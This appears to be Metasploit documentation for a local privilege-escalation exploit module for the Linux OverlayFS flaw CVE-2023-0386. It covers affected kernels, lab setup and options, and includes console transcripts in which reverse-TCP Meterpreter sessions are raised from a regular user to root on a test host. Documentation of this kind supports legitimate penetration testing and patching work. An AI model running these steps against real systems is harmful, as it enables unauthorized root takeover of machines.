## Vulnerable Application

This exploit targets the Linux kernel bug in OverlayFS.

A flaw was found in the Linux kernel, where unauthorized access to the execution of the setuid file with capabilities
was found in the Linux kernel’s OverlayFS subsystem in how a user copies a capable file from a nosuid mount into another mount.
This uid mapping bug allows a local user to escalate their privileges on the system.

The vulnerability affects:

    * Linux kernel from (including) 5.11 up to (excluding) 5.15.91 and from (including) 5.16 Up to (excluding) 6.1.9

This module was successfully tested on:

    * Ubuntu kernel version 5.13.0-1021-oem on x64/amd64
    * Ubuntu kernel version 6.0.0-060000-generic on x64/amd64
    * Ubuntu kernel version 6.0.19-060019-generic on x64/amd64
    * Ubuntu kernel version 6.1.0-060100-generic on x64/amd64

### Install

1. Install Ubuntu version 22.04 LTS
2. (Optional) Change kernel version
```
sudo apt update
sudo apt install -y linux-image-5.13.0-1021-oem linux-headers-5.13.0-1021-oem
reboot
```
3. Install the required libraries
```
sudo apt update
sudo apt install -y gcc cmake fuse libfuse-dev libcap-dev
```

## Verification Steps

1. Make an Ubuntu
2. Create a meterpreter or shell payload and upload it to the Ubuntu target
3. Set up a handler for the payload
4. Launch the payload as a regular user on the Ubuntu target and connect the handler
5. Do: `use exploit/linux/local/cve_2023_0386_overlayfs_priv_esc`
6. Do: `run session=<session> lhost=<lhost>`
7. You should get a root

## Options

### COMPILE (required)

[Auto|True|False] This selects the binary to use.  True will upload the source code and perform
compilation on target, False will upload a precompiled binary.  AUTO will favor compiling on target
but will fall back to the precompiled option if a compiler cannot be found.
The default value is `Auto`

### TIMEOUT (required)

This is the amount of time (in seconds) that the module will wait for the payload to be
executed. Defaults to 60 seconds.

### WritableDir (required)
This indicates the location where you would like the payload and exploit binary stored, as well
as serving as a location to store the various files and directories created by the exploit itself.
The default value is `/tmp`

## Scenarios
### Ubuntu 6.0.19-060019-generic x64/amd64 COMPILE=Auto
```
msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > run lhost=192.168.56.1 lport=4444 payload=linux/x64/meterpreter/reverse_tcp

[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] Sending stage (3045380 bytes) to 192.168.56.10
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.10:59844) at 2024-09-09 08:22:36 +0900

meterpreter > getuid
Server username: ubu
meterpreter > background 
[*] Backgrounding session 1...
msf exploit(multi/handler) > use exploit/linux/local/cve_2023_0386_overlayfs_priv_esc
[*] Using configured payload linux/x64/meterpreter_reverse_tcp
msf exploit(linux/local/cve_2023_0386_overlayfs_priv_esc) > run session=1 lhost=192.168.56.1 COMPILE=Auto

[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[-] Failed to open file: /proc/sys/kernel/unprivileged_userns_clone: core_channel_open: Operation failed: 1
[+] The target appears to be vulnerable. Linux kernel version found: 6.0.19
[*] Writing '/tmp/.AHeqRyKHX/.2zkk6' (1068952 bytes) ...
[*] Launching exploit...
[+] Deleted /tmp/.AHeqRyKHX
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.10:54770) at 2024-09-09 08:23:02 +0900

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.56.10
OS           : Ubuntu 22.04 (Linux 6.0.19-060019-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
```

### Ubuntu 6.0.19-060019-generic x64/amd64 COMPILE=True
```
msf exploit(linux/local/cve_2023_0386_overlayfs_priv_esc) > run session=1 lhost=192.168.56.1 COMPILE=True

[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[-] Failed to open file: /proc/sys/kernel/unprivileged_userns_clone: core_channel_open: Operation failed: 1
[+] The target appears to be vulnerable. Linux kernel version found: 6.0.19
[*] Writing '/tmp/.cvnVjW/.j3OSujf' (1068952 bytes) ...
[*] Launching exploit...
[+] Deleted /tmp/.cvnVjW
[*] Meterpreter session 3 opened (192.168.56.1:4444 -> 192.168.56.10:51750) at 2024-09-09 08:23:28 +0900

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.56.10
OS           : Ubuntu 22.04 (Linux 6.0.19-060019-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
```

### Ubuntu 6.0.19-060019-generic x64/amd64 COMPILE=False
```
msf exploit(linux/local/cve_2023_0386_overlayfs_priv_esc) > run session=1 lhost=192.168.56.1 COMPILE=False

[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[-] Failed to open file: /proc/sys/kernel/unprivileged_userns_clone: core_channel_open: Operation failed: 1
[+] The target appears to be vulnerable. Linux kernel version found: 6.0.19
[*] Writing '/tmp/.wWno7SA/.Bv3HUIrHyr' (18712 bytes) ...
[*] Writing '/tmp/.wWno7SA/.r1nzG9LZ' (16824 bytes) ...
[*] Writing '/tmp/.wWno7SA/.g0QNeF' (1068952 bytes) ...
[*] Launching exploit...
[+] Deleted /tmp/.wWno7SA
[*] Meterpreter session 4 opened (192.168.56.1:4444 -> 192.168.56.10:33860) at 2024-09-09 08:23:50 +0900

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.56.10
OS           : Ubuntu 22.04 (Linux 6.0.19-060019-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
```
